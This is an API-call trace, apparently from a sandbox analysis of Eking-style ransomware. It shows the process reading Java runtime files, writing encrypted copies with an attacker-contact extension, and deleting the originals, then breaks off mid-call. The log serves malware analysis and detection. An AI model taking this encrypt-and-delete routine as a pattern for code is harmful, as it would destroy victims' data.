[0235.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20 [0235.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20 [0235.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0235.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0235.712] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.712] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x384 [0235.715] ReadFile (in: hFile=0x370, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xc824, lpOverlapped=0x0) returned 1 [0235.942] WriteFile (in: hFile=0x384, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xc830, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xc830, lpOverlapped=0x0) returned 1 [0235.944] WriteFile (in: hFile=0x384, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0235.945] CloseHandle (hObject=0x370) returned 1 [0235.945] CloseHandle (hObject=0x384) returned 1 [0235.948] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0 [0235.948] SetEvent (hEvent=0x2b8) returned 1 [0235.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0235.950] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=632) returned 1 [0235.950] CloseHandle (hObject=0x384) returned 1 [0235.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20 [0235.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20 [0235.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0235.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0235.951] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.951] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x370 [0235.953] ReadFile (in: hFile=0x384, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x278, lpOverlapped=0x0) returned 1 [0235.955] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x280, lpOverlapped=0x0) returned 1 [0235.956] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xe2, lpOverlapped=0x0) returned 1 [0235.956] CloseHandle (hObject=0x384) returned 1 [0235.956] CloseHandle (hObject=0x370) returned 1 [0235.959] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0 [0235.960] SetEvent (hEvent=0x2b8) returned 1 [0235.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0235.962] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1044) returned 1 [0235.962] CloseHandle (hObject=0x370) returned 1 [0235.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20 [0235.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20 [0235.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0235.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0235.964] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.964] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x384 [0235.966] ReadFile (in: hFile=0x370, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x414, lpOverlapped=0x0) returned 1 [0235.968] WriteFile (in: hFile=0x384, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x420, lpOverlapped=0x0) returned 1 [0235.971] WriteFile (in: hFile=0x384, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0235.971] CloseHandle (hObject=0x370) returned 1 [0235.971] CloseHandle (hObject=0x384) returned 1 [0235.975] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0 [0235.976] SetEvent (hEvent=0x2b8) returned 1 [0235.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0235.977] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=274474) returned 1 [0235.977] CloseHandle (hObject=0x384) returned 1 [0235.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20 [0235.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20 [0235.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0235.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0235.978] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.978] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x370 [0235.978] ReadFile (in: hFile=0x384, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4302a, lpOverlapped=0x0) returned 1 [0236.281] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x43030, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x43030, lpOverlapped=0x0) returned 1 [0236.289] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xe2, lpOverlapped=0x0) returned 1 [0236.290] CloseHandle (hObject=0x384) returned 1 [0236.290] CloseHandle (hObject=0x370) returned 1 [0236.299] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0 [0236.300] SetEvent (hEvent=0x2b8) returned 1 [0236.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0236.301] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3144) returned 1 [0236.301] CloseHandle (hObject=0x370) returned 1 [0236.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20 [0236.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20 [0236.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0236.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0236.302] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0236.302] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0236.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x384 [0236.305] ReadFile (in: hFile=0x370, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xc48, lpOverlapped=0x0) returned 1 [0236.315] WriteFile (in: hFile=0x384, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xc50, lpOverlapped=0x0) returned 1 [0236.317] WriteFile (in: hFile=0x384, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xe2, lpOverlapped=0x0) returned 1 [0236.317] CloseHandle (hObject=0x370) returned 1 [0236.317] CloseHandle (hObject=0x384) returned 1 [0236.319] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0 [0236.785] SetEvent (hEvent=0x2b8) returned 1 [0236.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0236.786] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=5548) returned 1 [0236.786] CloseHandle (hObject=0x378) returned 1 [0236.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20 [0236.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20 [0236.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0236.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0236.787] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0236.787] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0236.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0236.788] ReadFile (in: hFile=0x378, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x15ac, lpOverlapped=0x0) returned 1 [0236.971] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x15b0, lpOverlapped=0x0) returned 1 [0236.972] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x112, lpOverlapped=0x0) returned 1 [0236.973] CloseHandle (hObject=0x378) returned 1 [0236.973] CloseHandle (hObject=0x358) returned 1 [0236.976] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0 [0236.976] SetEvent (hEvent=0x2b8) returned 1 [0236.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0236.978] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=4122) returned 1 [0236.978] CloseHandle (hObject=0x358) returned 1 [0236.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20 [0236.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20 [0236.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0236.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0236.979] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0236.979] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0236.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x384 [0236.995] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x101a, lpOverlapped=0x0) returned 1 [0237.137] WriteFile (in: hFile=0x384, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1020, lpOverlapped=0x0) returned 1 [0237.139] WriteFile (in: hFile=0x384, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0237.139] CloseHandle (hObject=0x358) returned 1 [0237.215] CloseHandle (hObject=0x384) returned 1 [0237.220] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0 [0237.220] SetEvent (hEvent=0x2b8) returned 1 [0237.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0237.241] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=14156) returned 1 [0237.241] CloseHandle (hObject=0x350) returned 1 [0237.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 0x20 [0237.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 0x20 [0237.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0237.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0237.243] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.244] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, 